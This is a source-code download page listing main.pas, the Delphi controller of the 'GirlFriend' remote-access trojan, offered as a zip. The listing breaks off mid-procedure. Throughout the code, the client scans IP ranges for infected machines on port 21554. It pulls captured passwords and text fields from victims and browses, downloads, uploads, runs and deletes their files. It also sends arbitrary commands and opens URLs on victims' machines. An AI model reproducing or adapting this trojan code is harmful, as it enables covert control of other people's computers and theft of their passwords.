开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
main.pas
资源名称：gf135s.zip　[点击查看]
上传用户：zhuoer
上传日期：2007-01-08
资源大小：128k
文件大小：30k
源码类别：

远程控制编程

开发平台：

Delphi

main.pas：源码内容
  1. unit main;
  2. interface
  3. uses
  4.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  5.   Menus, StdCtrls, Buttons, ScktComp, ExtCtrls, ComCtrls, About, ImgList,
  6.   OleCtrls, ShellAPI;
  7. const WM_NOTIFYMSG=WM_USER+1;
  8. type
  9.   TClientForm = class(TForm)
  10.     stbStatus: TStatusBar;
  11.     ClientSocket: TClientSocket;
  12.     sbConnect: TSpeedButton;
  13.     sbShowPass: TSpeedButton;
  14.     sbAbout: TSpeedButton;
  15.     sbCustom: TSpeedButton;
  16.     sbExit: TSpeedButton;
  17.     ilApp: TImageList;
  18.     sbMessage: TSpeedButton;
  19.     gbLog: TGroupBox;
  20.     gbTree: TGroupBox;
  21.     txtLog: TMemo;
  22.     Label1: TLabel;
  23.     Label2: TLabel;
  24.     PortChange: TButton;
  25.     sbReset: TSpeedButton;
  26.     cmdSave: TButton;
  27.     sd1: TSaveDialog;
  28.     tvApp: TTreeView;
  29.     pmActions: TPopupMenu;
  30.     Showpasswords1: TMenuItem;
  31.     Sendmessage1: TMenuItem;
  32.     Resetpasswordlist1: TMenuItem;
  33.     N3: TMenuItem;
  34.     PingserverAlive1: TMenuItem;
  35.     N2: TMenuItem;
  36.     mnuPlaySound: TMenuItem;
  37.     mnuShowPic: TMenuItem;
  38.     N1: TMenuItem;
  39.     mnuURL: TMenuItem;
  40.     mnuDelim1: TMenuItem;
  41.     mnuShow: TMenuItem;
  42.     N4: TMenuItem;
  43.     mnuConnect: TMenuItem;
  44.     N5: TMenuItem;
  45.     mnuQuit: TMenuItem;
  46.     ilWin: TImageList;
  47.     txtHid: TMemo;
  48.     sbFileManager: TSpeedButton;
  49.     pmFile: TPopupMenu;
  50.     mnuDelete: TMenuItem;
  51.     N6: TMenuItem;
  52.     mnuDownload: TMenuItem;
  53.     mnuDelim: TMenuItem;
  54.     mnuRun: TMenuItem;
  55.     N7: TMenuItem;
  56.     mnuUpload: TMenuItem;
  57.     od1: TOpenDialog;
  58.     IP: TComboBox;
  59.     portvalue: TComboBox;
  60.     procedure ScanIPs;
  61.     procedure ProcessDiskList;
  62.     procedure ClientSocketConnect(Sender: TObject;
  63.       Socket: TCustomWinSocket);
  64.     procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
  65.     procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
  66.       ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  67.     procedure ProcessTree;
  68.     procedure ProcessDirectory;
  69.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  70.     procedure sbConnectClick(Sender: TObject);
  71.     procedure sbShowPassClick(Sender: TObject);
  72.     procedure sbCustomClick(Sender: TObject);
  73.     procedure sbExitClick(Sender: TObject);
  74.     procedure sbAboutClick(Sender: TObject);
  75.     procedure FormCreate(Sender: TObject);
  76.     procedure sbMessageClick(Sender: TObject);
  77.     procedure txtLogDblClick(Sender: TObject);
  78.     procedure PortChangeClick(Sender: TObject);
  79.     procedure sbResetClick(Sender: TObject);
  80.     procedure cmdSaveClick(Sender: TObject);
  81.     procedure PingserverAlive1Click(Sender: TObject);
  82.     procedure mnuPlaySoundClick(Sender: TObject);
  83.     procedure mnuShowPicClick(Sender: TObject);
  84.     procedure txtLogKeyDown(Sender: TObject; var Key: Word;
  85.       Shift: TShiftState);
  86.     procedure tvAppKeyDown(Sender: TObject; var Key: Word;
  87.       Shift: TShiftState);
  88.     procedure portvalue1KeyDown(Sender: TObject; var Key: Word;
  89.       Shift: TShiftState);
  90.     procedure IP1KeyDown(Sender: TObject; var Key: Word;
  91.       Shift: TShiftState);
  92.     procedure PortChangeKeyDown(Sender: TObject; var Key: Word;
  93.       Shift: TShiftState);
  94.     procedure cmdSaveKeyDown(Sender: TObject; var Key: Word;
  95.       Shift: TShiftState);
  96.     procedure FormKeyDown(Sender: TObject; var Key: Word;
  97.       Shift: TShiftState);
  98.     procedure NotifyIcon (var TM : TMessage); message WM_NOTIFYMSG;
  99.     procedure mnuShowClick(Sender: TObject);
  100.     procedure mnuURLClick(Sender: TObject);
  101.     procedure tvAppExpanding(Sender: TObject; Node: TTreeNode;
  102.       var AllowExpansion: Boolean);
  103.     procedure tvAppCollapsing(Sender: TObject; Node: TTreeNode;
  104.       var AllowCollapse: Boolean);
  105.     procedure sbFileManagerClick(Sender: TObject);
  106.     procedure tvAppDblClick(Sender: TObject);
  107.     procedure tvAppMouseDown(Sender: TObject; Button: TMouseButton;
  108.       Shift: TShiftState; X, Y: Integer);
  109.     procedure pmFilePopup(Sender: TObject);
  110.     procedure mnuDeleteClick(Sender: TObject);
  111.     procedure mnuRunClick(Sender: TObject);
  112.     procedure mnuDownloadClick(Sender: TObject);
  113.     procedure mnuUploadClick(Sender: TObject);
  114.   protected
  115.     IsServer: Boolean;
  116.   end;
  117. var
  118.   ClientForm: TClientForm;
  119.   Server: String;
  121. implementation
  123. uses MessageUnit;
  124.  const
  125.   CLOSED_ICON=2;
  126.   OPEN_ICON=3;
  127.   BMP_FILE=4;
  128.   EXE_FILE=5;
  129.   WAV_FILE=6;
  130.   USUAL_FILE=7;
  131.   HDD_ICON=8;
  132.   CDROM_ICON=9;
  133.   WrapStr = #13+#10;
  134.   LastPosition = 1000;
  135.  type iptype = record
  136.                 ipcount, pcount:integer;
  137.                 ip:array[0..99] of string[25];
  138.                 port:array [0..99] of integer;
  139.                end;
  140.  var
  141.   Fl: FILE of IPType;
  142.   loading, scanning, working,
  143.   diskmode, TreeCame, recfile,
  144.   DeleteAnswer, FileDestroyed,
  145.   Uploaded : boolean;
  146.   Connection, ServerAnswer : boolean;
  147.   PList : array [1..LastPosition] of string;
  148.   PC: integer;
  149.   CurrIP: string;
  150.   IP_base, IP_count, CurrPort : integer;
  151.   FolderNode : TTreeNode;
  152.   FName, PCN : string;
  153.   FSize, AC, SC : integer;
  154.   FlT : FILE;
  155.   buffer : array [0..16385] of byte;
  156. {$R *.DFM}
  157.  function extract (st : string; ind1, ind2 : integer): string;
  158.   var i: integer;
  159.  begin
  160.   result:='';
  161.   for i:=ind1 to ind2 do
  162.    result:=result+st[i];
  163.  end;
  164.  procedure AddTrayIcon (ID : integer; Hint : string; Icon : TIcon; hWnd : LongInt; CallBack : LongInt);
  165.    var MC : TNotifyIconData;
  166.   begin
  167.    with MC do
  168.     begin
  169.      cbSize := sizeof(TNotifyIconData);
  170.      Wnd := hWnd;
  171.      uID := ID;
  172.      uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
  173.      uCallbackMessage := CallBack;
  174.      hIcon := Icon.Handle;
  175.      if (length(hint)>0) then
  176.        StrLCopy(szTip, PChar(hint), 63)
  177.       else
  178.        szTip[0] := #0;
  179.     end;
  180.    if Shell_NotifyIcon (NIM_ADD, @MC) then
  181.     SetWindowLong(Application.Handle, GWL_EXSTYLE,
  182.      GetWindowLong(Application.Handle, GWL_EXSTYLE) or
  183.        WS_DLGFRAME and not WS_EX_APPWINDOW);
  184.   end;
  186.  procedure ModifyTrayIcon (ID : integer; Hint : string; Icon : TIcon; hWnd : LongInt; CallBack : LongInt);
  187.    var MC : TNotifyIconData;
  188.   begin
  189.    with MC do
  190.     begin
  191.      cbSize := sizeof(TNotifyIconData);
  192.      Wnd := hWnd;
  193.      uID := ID;
  194.      uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
  195.      uCallbackMessage := CallBack;
  196.      hIcon := Icon.Handle;
  197.      if (length(hint)>0) then
  198.        StrLCopy(szTip, PChar(hint), 63)
  199.       else
  200.        szTip[0] := #0;
  201.     end;
  202.    Shell_NotifyIcon (NIM_MODIFY, @MC);
  203.   end;
  204.  procedure DestroyTrayIcon (ID : integer; hWnd : LongInt);
  205.    var MC : TNotifyIconData;
  206.   begin
  207.    with MC do
  208.     begin
  209.      cbSize := sizeof(TNotifyIconData);
  210.      Wnd := hWnd;
  211.      uID := ID;
  212.     end;
  213.    Shell_NotifyIcon (NIM_DELETE, @MC);
  214.   end;
  215.  // Cuts the string at '(' position (when clicking filenames)
  216.  function TrimPRT (ST : string): string;
  217.    var i : integer;
  218.   begin
  219.    result:='';
  220.    for i:=1 to Length(ST)-1 do
  221.     if ST[i+1]='(' then break else result:=result+ST[i];
  222.   end;
  223.  // Duplicates the & symbol - to prevent _
  224.  function DupAmps (var ST : string) : string;
  225.    var i : integer;
  226.   begin
  227.    result:='';
  228.    for i:=1 to Length(ST) do
  229.     if ST[i]<>'&' then result:=result+ST[i]
  230.      else result:=result+'&&';
  231.   end;
  232. procedure TClientForm.ScanIPs;
  233.   var i, DotPos : integer;
  234.       ST, IPT : string;
  235.  begin
  236.   ST:=IP.Text;
  237.   for i:=Length (ST) downto 1 do
  238.    if ST[i]='.' then break;
  239.   DotPos:=i;
  240.   IP_base:=strtoint (extract (ST, i+1, Pos ('+', ST)-1));
  241.   IP_count:=strtoint (extract (ST, Pos ('+', ST)+1, Length (ST)));
  242.   IPT:=copy (ST, 1, DotPos);
  243.   scanning:=true;
  244.   for i:=0 to IP_count do
  245.    begin
  246.     CurrIP:=IPT+inttostr (IP_base+i);
  247.     ClientSocket.Close;
  248.     ClientSocket.Port:=CurrPort;
  249.     ClientSocket.Address:=CurrIP;
  250.     stbStatus.Panels[0].Text := 'Scanning IP '+CurrIP;
  251.     ClientSocket.Open;
  252.     ServerAnswer:=false;
  253.     repeat
  254.      Application.ProcessMessages;
  255.     until ServerAnswer;
  256.     if Connection then break;
  257.    end;
  258.  end;
  259. procedure TClientForm.sbConnectClick(Sender: TObject);
  260. begin
  261.  if sbConnect.caption='Disconnect' then
  262.   begin
  263.    ilWin.GetIcon (0, ClientForm.Icon);
  264.    ModifyTrayIcon (1, 'GirlFriend client v1.2',
  265.     ClientForm.Icon, ClientForm.Handle,
  266.      WM_NOTIFYMSG);
  267.    sbConnect.caption:='Connect';
  268.    mnuConnect.Caption:='Connect';
  269.    sbShowPass.Enabled:=false;
  270.    sbMessage.Enabled:=false;
  271.    sbCustom.Enabled:=false;
  272.    sbFileManager.Enabled:=false;
  273.    ClientForm.Showpasswords1.Enabled:=false;
  274.    ClientForm.Sendmessage1.Enabled:=false;
  275.    ClientForm.Resetpasswordlist1.Enabled:=false;
  276.    ClientForm.PingserverAlive1.Enabled:=false;
  277.    ClientForm.mnuPlaySound.Enabled:=false;
  278.    ClientForm.mnuShowPic.Enabled:=false;
  279.    ClientForm.mnuURL.Enabled:=false;
  280.    sbReset.Enabled:=false;
  281.    PortChange.Enabled:=false;
  282.    clientsocket.socket.SendText('Quiting..');
  283.    clientsocket.Close;
  284.    stbStatus.Panels[0].Text := 'Disconnected';
  285.    exit;
  286.   end;
  287.   if (Length(IP.Text)>0) then
  288.    begin
  289.     if portvalue.text>'' then ClientSocket.Port:=strtoint(portvalue.Text) else
  290.      begin
  291.       ClientSocket.Port:=21554;
  292.       PortValue.Text:=inttostr (ClientSocket.Port);
  293.      end;
  294.     CurrPort:=ClientSocket.Port;
  295.     if Pos('+', IP.Text)=0 then
  296.      begin
  297.       scanning:=false;
  298.       CurrIP:=IP.Text;
  299.       with ClientSocket do
  300.        begin
  301.         Address := IP.Text;
  302.         Open;
  303.        end
  304.      end
  305.       else
  306.        ScanIPs;
  307.    end;
  308. end;
  309. procedure TClientForm.ClientSocketConnect(Sender: TObject;
  310.   Socket: TCustomWinSocket);
  311. var
  312.   i:integer;
  313.   a, b:boolean;
  314. begin
  315.   a:=false;
  316.   b:=false;
  317.   for i:=0 to ip.items.count+1 do if ip.Items[i]=clientsocket.address then a:=true;
  318.   for i:=0 to portvalue.items.count+1 do if portvalue.Items[i]=inttostr(clientsocket.port) then b:=true;
  319.   if a<>true then ip.items.Add(clientsocket.address);
  320.   if b<>true then portvalue.items.Add(inttostr(clientsocket.port));
  321.   ServerAnswer:=true;
  322.   Connection:=true;
  323.   ilWin.GetIcon (1, ClientForm.Icon);
  324.   ModifyTrayIcon (1, 'GirlFriend client v1.2. Connected with '+Socket.RemoteAddress,
  325.     ClientForm.Icon, ClientForm.Handle,
  326.      WM_NOTIFYMSG);
  327.   PortChange.Enabled:=true;
  328.   sbConnect.caption:='Disconnect';
  329.   mnuConnect.Caption:='Disconnect';
  330.   stbStatus.Panels[0].Text := 'Connected to: ' + Socket.RemoteAddress;
  331.   clientsocket.socket.SendText ('ver');
  332.   ClientSocket.Socket.SendText ('time');
  333.   tvApp.Items.Clear;
  334.   sbShowPass.Enabled:=true;
  335.   sbMessage.Enabled:=true;
  336.   sbCustom.Enabled:=true;
  337.   sbReset.Enabled:=true;
  338.   sbFileManager.Enabled:=true;
  339.   ClientForm.Showpasswords1.Enabled:=true;
  340.   ClientForm.Sendmessage1.Enabled:=true;
  341.   ClientForm.Resetpasswordlist1.Enabled:=true;
  342.   ClientForm.PingserverAlive1.Enabled:=true;
  343.   ClientForm.mnuPlaySound.Enabled:=true;
  344.   ClientForm.mnuShowPic.Enabled:=true;
  345.   ClientForm.mnuURL.Enabled:=true;
  346. end;
  348.  procedure TClientForm.ProcessTree;
  349.    var i: integer;
  350.        First, TMP, found : TTreeNode;
  351.        ST, FT : string;
  352.    function FindNode (caption : string): boolean;
  353.      var c : integer;
  354.     begin
  355.      result:=false;
  356.      for c:=0 to tvApp.Items.Count-1 do
  357.       if tvApp.Items.Item[c].Text=caption then
  358.        begin
  359.         result:=true;
  360.         found:=tvApp.Items.Item[c];
  361.         break;
  362.        end;
  363.     end;
  364.   begin
  365.    tvApp.Items.Clear;
  366.    First:=tvApp.Items.GetFirstNode;
  367.    for i:=1 to PC do
  368.     begin
  369.      ST:=extract (PList[i], 1, Pos ('___', PList[i])-1);
  370.      if not(FindNode(ST)) then
  371.       begin
  372.        TMP:=tvApp.Items.Add (First, ST);
  373.        TMP.ImageIndex:=0;
  374.        TMP.SelectedIndex:=0;
  375.      end;
  376.     end;
  377.    for i:=1 to PC do
  378.     begin
  379.      ST:=extract (PList[i], 1, Pos ('___', PList[i])-1);
  380.      FT:=extract (PList[i], Pos ('___', PList[i])+3, Length(PList[i]));
  381.      if FindNode(ST) then
  382.       begin
  383.        TMP:=tvApp.Items.AddChild (found, FT);
  384.        TMP.ImageIndex:=1;
  385.        TMP.SelectedIndex:=1;
  386.       end;
  387.     end;
  388.   end;
  390.  procedure TClientForm.ProcessDiskList;
  391.    var TMP, First : TTreeNode;
  392.        i : integer;
  393.        ST : string;
  394.   begin
  395.    tvApp.Items.Clear;
  396.    First:=tvApp.Items.GetFirstNode;
  397.    for i:=1 to PC do
  398.     begin
  399.      ST:=extract (PList[i], 3, Length(PList[i])-1);
  400.      TMP:=tvApp.Items.Add (First, ST);
  401.      case PList[i][1] of
  402.       'H' : begin
  403.              TMP.ImageIndex:=HDD_ICON;
  404.              TMP.SelectedIndex:=HDD_ICON;
  405.             end;
  406.       'C' : begin
  407.              TMP.ImageIndex:=CDROM_ICON;
  408.              TMP.SelectedIndex:=CDROM_ICON;
  409.             end;
  410.      end;
  411.      TMP:=tvApp.Items.AddChild (TMP, 'Loading...');
  412.      TMP.SelectedIndex:=-1;
  413.      TMP.ImageIndex:=-1;
  414.     end;
  416.   end;
  417.  procedure TClientForm.ProcessDirectory;
  418.    var i : integer;
  419.        ST : string;
  420.        CP : char;
  421.        TMP : TTreeNode;
  422.    procedure SetIcon (ic : integer);
  423.     begin
  424.      TMP.ImageIndex:=ic;
  425.      TMP.SelectedIndex:=ic;
  426.     end;
  427.   begin
  428.    working:=true;
  429.    diskmode:=false;
  430.    FolderNode.DeleteChildren;
  431.    for i:=1 to PC do
  432.     begin
  433.      ST:=extract (PList[i], 3, Length(PList[i]));
  434.      CP:=PList[i][1];
  435.      TMP:=tvApp.Items.AddChild (FolderNode, ST);
  436.      case CP of
  437.       'E': SetIcon (EXE_FILE);
  438.       'W': SetIcon (WAV_FILE);
  439.       'B': SetIcon (BMP_FILE);
  440.       'U': SetIcon (USUAL_FILE);
  441.       'F': begin
  442.             SetIcon (CLOSED_ICON);
  443.             TMP:=tvApp.Items.AddChild (TMP, 'Loading...');
  444.             SetIcon (-1);
  445.            end;
  446.       end;
  447.     end;
  448.    FolderNode.Expand (FALSE);
  449.    diskmode:=true;
  450.    TreeCame:=true;
  451.    working:=false;
  452.   end;
  453.  procedure TClientForm.ClientSocketRead(Sender: TObject;
  454.           Socket: TCustomWinSocket);
  455.    var RST : string;
  456.        i : integer;
  457.   begin
  458.    if (recfile) then
  459.     begin
  460.      repeat
  461.       Application.ProcessMessages;
  462.       AC:=Socket.ReceiveBuf (buffer, 1024);
  463.       if AC>0 then
  464.        begin
  465.         SC:=SC+AC;
  466.         Str (round(100*SC/FSize):3, PCN);
  467.         stbStatus.Panels[0].Text:='Receiving '+FName+'. '+PCN+'% done.';
  468.         stbStatus.Refresh;
  469.         BlockWrite (FlT, buffer, AC);
  470.        end;
  471.      until SC>=FSize;
  472.      if recfile then
  473.       begin
  474.        CloseFile (FlT);
  475.        txtLog.Lines.Add ('Downloading complete.');
  476.        stbStatus.Panels[0].Text:='Waiting for command.';
  477.       end;
  478.      working:=false;
  479.      recfile:=false;
  480.      exit;
  481.     end;
  483.    if not(working) then
  484.     begin
  485.      RST:=Socket.ReceiveText;
  486.      if RST='Uploading complete.' then
  487.       begin
  488.        Uploaded:=true;
  489.        ServerAnswer:=True;
  490.       end
  491.        else
  492.         ServerAnswer:=True;
  493.      if Pos ('FCOMP}', RST)<>0 then
  494.       begin
  495.        working:=true;
  496.        loading:=false;
  497.        // Compress the txtHid
  498.        for i:=0 to txtHid.Lines.Count-1 do
  499.         if txtHid.Lines.Strings[i]='' then txtHid.Lines.Delete(i);
  500.        FSize:=strtoint(txtHid.Lines.Strings[0]);
  501.        FName:=txtHid.Lines.Strings[1];
  502.        AssignFile (FlT, FName);
  503.        ReWrite (FlT, 1);
  504.        for i:=0 to Length(RST)-9 do
  505.         buffer[i]:=ord(RST[i+7]);
  507.        BlockWrite (FlT, buffer, Length(RST)-9, SC);
  508.        recfile:=true;
  509.        exit;
  510.       end;
  512.      if loading then txtHid.Text:=txtHid.Text+RST;
  513.      if (pos('{PLTS}',RST)>0) then
  514.       begin
  515.        txtHid.Lines.Clear;
  516.        txtHid.text:=copy(RST,7,length(rst)-6);
  517.        loading:=true;
  518.       end;
  519.      if (pos('{TDSS}',RST)>0) then
  520.       begin
  521.        txtHid.Lines.Clear;
  522.        txtHid.text:=copy(RST,7,length(rst)-6);
  523.        loading:=true;
  524.       end;
  525.      if (pos('{FSEND}', RST)>0) then
  526.       begin
  527.        txtHid.Lines.Clear;
  528.        txtHid.text:=copy(RST,8,length(rst)-7);
  529.        loading:=true;
  530.       end;
  533.      if (pos('{LFTM}',RST)>0) then
  534.       begin
  535.        txtHid.Lines.Clear;
  536.        txtHid.text:=copy(RST,7,length(rst)-6);
  537.        loading:=true;
  538.       end;
  539.      if (not(loading)) then
  540.       begin
  541.        if RST='File deleted.' then
  542.         begin
  543.          FileDestroyed:=true;
  544.          DeleteAnswer:=true;
  545.         end;
  546.        if RST='Delete Error.' then
  547.         begin
  548.          FileDestroyed:=false;
  549.          DeleteAnswer:=true;
  550.         end;
  552.        txtLog.Lines.Add (RST);
  553.        exit;
  554.       end;
  556.      if pos('TPL}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then
  557.       begin
  558.        loading:=false;
  559.        PC:=0;
  560.        for i:=0 to txtHid.Lines.Count-1 do
  561.         if (txtHid.Lines.Strings [i]<>'') and (txtHid.Lines.Strings[i]<>'{FTPL}')
  562.          and (Pos ('___', txtHid.Lines.Strings[i])<>0) then
  563.           begin
  564.            Inc (PC);
  565.            PList [PC]:=txtHid.Lines.Strings[i];
  566.           end;
  567.        gbTree.Caption:=' Password && text fields ';
  568.        ProcessTree;
  569.        diskmode:=false;
  570.        exit;
  571.       end;
  572.      if pos('FDT}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then
  573.       begin
  574.        loading:=false;
  575.        PC:=0;
  576.        for i:=0 to txtHid.Lines.Count-1 do
  577.         if (txtHid.Lines.Strings[i]<>'') and
  578.          (txtHid.Lines.Strings[i]<>'{FFDT}') then
  579.           begin
  580.            Inc (PC);
  581.            PList[PC]:=txtHid.Lines.Strings[i];
  582.           end;
  583.        gbTree.Caption:=' File Manager ';
  584.        ProcessDiskList;
  585.        diskmode:=true;
  586.        exit;
  587.       end;
  588.      if pos('ETL}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then
  589.       begin
  590.        loading:=false;
  591.        PC:=0;
  592.        for i:=0 to txtHid.Lines.Count-1 do
  593.         if (txtHid.Lines.Strings[i]<>'') and
  594.            (Length(txtHid.Lines.Strings[i])>8) then
  595.          begin
  596.           Inc (PC);
  597.           PList[PC]:=txtHid.Lines.Strings[i];
  598.           if (PC+1)>LastPosition then break;
  599.          end;
  600.        ProcessDirectory;
  601.        exit;
  602.       end;
  604.     end;
  605. end;
  606. procedure TClientForm.ClientSocketError(Sender: TObject;
  607.   Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  608.   var ErrorCode: Integer);
  609. begin
  610.  if not(scanning) then
  611.   stbStatus.Panels[0].Text := 'Error connecting to : ' + CurrIP
  612.  else
  613.   begin
  614.    ServerAnswer:=true;
  615.    Connection:=false;
  616.   end;
  617.  ErrorCode := 0;
  618. end;
  619. procedure TClientForm.FormClose(Sender: TObject; var Action: TCloseAction);
  620. var ipdata:iptype;
  621.     i:integer;
  622. begin
  623.  AssignFile (fl, 'hosts.ip');
  624.  if fileexists ('hosts.ip') then reset (fl)
  625.  else rewrite (fl);
  626.  seek(fl,0);
  627.  for i:=0 to ip.items.Count-1 do ipdata.ip[i]:=ip.items[i];
  628.  for i:=0 to portvalue.items.Count-1 do ipdata.port[i]:=strtoint(portvalue.items[i]);
  629.  ipdata.pcount:=portvalue.items.count;
  630.  ipdata.ipcount:=ip.items.count;
  631.  write(fl,ipdata);
  632.  closefile(fl);
  633.  if clientsocket.Active then begin
  634.  clientSocket.Socket.SendText('Quiting..');
  635.  clientsocket.close;
  636.  end;
  637. end;
  638. procedure TClientForm.sbShowPassClick(Sender: TObject);
  639. begin
  640.  if (ClientSocket.Active) and (not(loading)) then clientsocket.socket.SendText ('Old me show?');
  641. end;
  642. procedure TClientForm.sbCustomClick(Sender: TObject);
  643. var strtos:string;
  644. begin
  645.  if inputquery ('Custom', 'Enter command: ', strtos) then clientsocket.socket.SendText (strtos);
  646. end;
  647. procedure TClientForm.sbExitClick(Sender: TObject);
  648. begin
  649.  DestroyTrayIcon (1, ClientForm.Handle);
  650.  clientsocket.Socket.SendText ('Quiting..');
  651.  if clientsocket.Active then clientsocket.close;
  652.  halt(0);
  653. end;
  654. procedure TClientForm.sbAboutClick(Sender: TObject);
  655. begin
  656.  AboutForm.ShowModal;
  657. end;
  658. procedure TClientForm.FormCreate(Sender: TObject);
  659. var ipdata:iptype;
  660.     i:integer;
  661. begin
  662.  if fileexists ('hosts.ip') then
  663.   begin
  664.    AssignFile (fl, 'hosts.ip');
  665.    ReSet (fl);
  666.    Read(fl, ipdata);
  667.    for i:=0 to ipdata.ipcount-1 do ip.items.Add (ipdata.ip[i]);
  668.    for i:=0 to ipdata.pcount-1 do portvalue.items.add (inttostr(ipdata.port[i]));
  669.    clientsocket.address:=ipdata.ip[ipdata.ipcount-1];
  670.    clientsocket.port:=ipdata.port[ipdata.pcount-1];
  671.    ip.text:=ipdata.ip[ipdata.ipcount-1];
  672.    portvalue.Text:=inttostr(ipdata.port[ipdata.pcount-1]);
  673.    closefile (fl);
  674.   end;
  675.  diskmode:=false;
  676.  working:=false;
  677.  loading:=false;
  678. end;
  679. procedure TClientForm.sbMessageClick(Sender: TObject);
  680. begin
  681.  frmMessage.ShowModal;
  682. end;
  684. procedure TClientForm.txtLogDblClick(Sender: TObject);
  685. begin
  686.  txtlog.Lines.clear;
  687. end;
  688. procedure TClientForm.PortChangeClick(Sender: TObject);
  689. begin
  690.  if portvalue.text<>'' then
  691.   begin
  692.    ClientSocket.Socket.SendText ('setport'+portvalue.Text);
  693.    ClientSocket.close;
  694.    Clientsocket.port:=strtoint(portvalue.text);
  695.    clientsocket.open;
  696.   end;
  697. end;
  699. procedure TClientForm.sbResetClick(Sender: TObject);
  700. begin
  701.  if (clientsocket.active) and (not(loading)) then clientsocket.socket.SendText ('RESETALL');
  702. end;
  704. procedure TClientForm.cmdSaveClick(Sender: TObject);
  705.   var i : integer;
  706.       Fl: TextFILE;
  707.       FS : string;
  708.   function RPSP (tms : integer) : string;
  709.     var i : integer;
  710.    begin
  711.     result:='';
  712.     if tms>0 then
  713.      for i:=1 to tms do
  714.       result:=result+' ';
  715.    end;
  716. begin
  717.  if sd1.Execute then
  718.   begin
  719.    AssignFile (Fl, sd1.FileName);
  720.    ReWrite (Fl);
  721.    for i:=0 to tvApp.Items.Count-1 do
  722.     begin
  723.      FS:='['+inttostr(i+1)+']'+
  724.          RPSP(tvApp.Items[i].Level)+
  725.           tvApp.Items[i].Text;
  726.      WriteLn (Fl, FS);
  727.     end;
  728.    CloseFile (Fl);
  729.   end;
  730. end;
  732. procedure TClientForm.PingserverAlive1Click(Sender: TObject);
  733. begin
  734.  if not(loading) then clientsocket.socket.SendText ('TEST?');
  735. end;
  737. procedure TClientForm.mnuPlaySoundClick(Sender: TObject);
  738.  var strtos: string;
  739. begin
  740.  strtos:='';
  741.  if not(loading) then if inputquery ('Play sound', 'Enter full && exact path to .wav file: ', strtos) then clientsocket.socket.SendText ('{S}'+strtos);
  742. end;
  744. procedure TClientForm.mnuShowPicClick(Sender: TObject);
  745.  var strtos: string;
  746. begin
  747.   strtos:='';
  748.  if not(loading) then if inputquery ('Show bitmap', 'Enter full && exact path to .bmp file: ', strtos) then clientsocket.socket.SendText ('{P}'+strtos);
  749. end;
  750.  procedure AnswerF12 (KC : Word);
  751.    var TMS : string;
  752.   begin
  753.    if KC=VK_F12 then
  754.     begin
  755.      ClientForm.mnuShow.Visible:=true;
  756.      ClientForm.mnuShow.Default:=true;
  757.      ClientForm.mnuDelim1.Visible:=true;
  758.      TMS:='BoyFriend (client) version: 1.35';
  759.      if ClientForm.ClientSocket.Socket.Connected then
  760.       TMS:=TMS+'. Connected with '+ClientForm.ClientSocket.Address;
  761.      AddTrayIcon (1, TMS,
  762.       ClientForm.Icon, ClientForm.Handle,
  763.        WM_NOTIFYMSG);
  764.      ClientForm.Hide;
  765.     end;
  766.   end;
  767.  procedure TClientForm.NotifyIcon (var TM : TMessage);
  768.    var AC : LongInt;
  769.        CP : TPoint;
  770.   begin
  771.    AC:=TM.LParam;
  772.    if AC=WM_LBUTTONDBLCLK then
  773.     begin
  774.      ClientForm.mnuShow.Visible:=false;
  775.      ClientForm.mnuShow.Default:=false;
  776.      ClientForm.mnuDelim1.Visible:=false;
  777.      ClientForm.Show;
  778.      DestroyTrayIcon (1, ClientForm.Handle);
  779.     end;
  780.    if AC=WM_RBUTTONDOWN then
  781.     begin
  782.      GetCursorPos (CP);
  783.      pmActions.Popup (CP.X, CP.Y);
  784.     end;
  785.   end;
  786. procedure TClientForm.txtLogKeyDown(Sender: TObject; var Key: Word;
  787.   Shift: TShiftState);
  788. begin
  789.  AnswerF12 (Key);
  790. end;
  792. procedure TClientForm.tvAppKeyDown(Sender: TObject; var Key: Word;
  793.   Shift: TShiftState);
  794. begin
  795.   AnswerF12 (Key);
  796. end;
  798. procedure TClientForm.portvalue1KeyDown(Sender: TObject; var Key: Word;
  799.   Shift: TShiftState);
  800. begin
  801.  AnswerF12 (Key);
  802. end;
  804. procedure TClientForm.IP1KeyDown(Sender: TObject; var Key: Word;
  805.   Shift: TShiftState);
  806. begin
  807.   AnswerF12 (Key);
  808. end;
  810. procedure TClientForm.PortChangeKeyDown(Sender: TObject; var Key: Word;
  811.   Shift: TShiftState);
  812. begin
  813.   AnswerF12 (Key);
  814. end;
  816. procedure TClientForm.cmdSaveKeyDown(Sender: TObject; var Key: Word;
  817.   Shift: TShiftState);
  818. begin
  819.   AnswerF12 (Key);
  820. end;
  822. procedure TClientForm.FormKeyDown(Sender: TObject; var Key: Word;
  823.   Shift: TShiftState);
  824. begin
  825.   AnswerF12 (Key);
  826. end;
  828. procedure TClientForm.mnuShowClick(Sender: TObject);
  829. begin
  830.  ClientForm.mnuShow.Visible:=false;
  831.  ClientForm.mnuShow.Default:=false;
  832.  ClientForm.mnuDelim1.Visible:=false;
  833.  ClientForm.Show;
  834.  DestroyTrayIcon (1, ClientForm.Handle);
  835. end;
  837. procedure TClientForm.mnuURLClick(Sender: TObject);
  838.  var strtos : string;
  839. begin
  840.  strtos:='';
  841.  if not(loading) then
  842.   if inputquery ('Go to URL', 'Enter URL (with http://). ', strtos) then clientsocket.socket.SendText ('{U}'+strtos);
  843. end;
  845. procedure TClientForm.tvAppExpanding(Sender: TObject; Node: TTreeNode;
  846.     var AllowExpansion: Boolean);
  847.   begin
  848.    AllowExpansion:=(Node.getFirstChild.ImageIndex<>-1);
  849.    if not(AllowExpansion) then
  850.     begin
  851.      tvApp.Selected:=Node;
  852.      tvAppDblClick (Sender);
  853.     end
  854.     else
  855.      if Node.ImageIndex=CLOSED_ICON then
  856.       begin
  857.        Node.ImageIndex:=OPEN_ICON;
  858.        Node.SelectedIndex:=OPEN_ICON;
  859.       end;
  860.   end;
  862. procedure TClientForm.tvAppCollapsing(Sender: TObject; Node: TTreeNode;
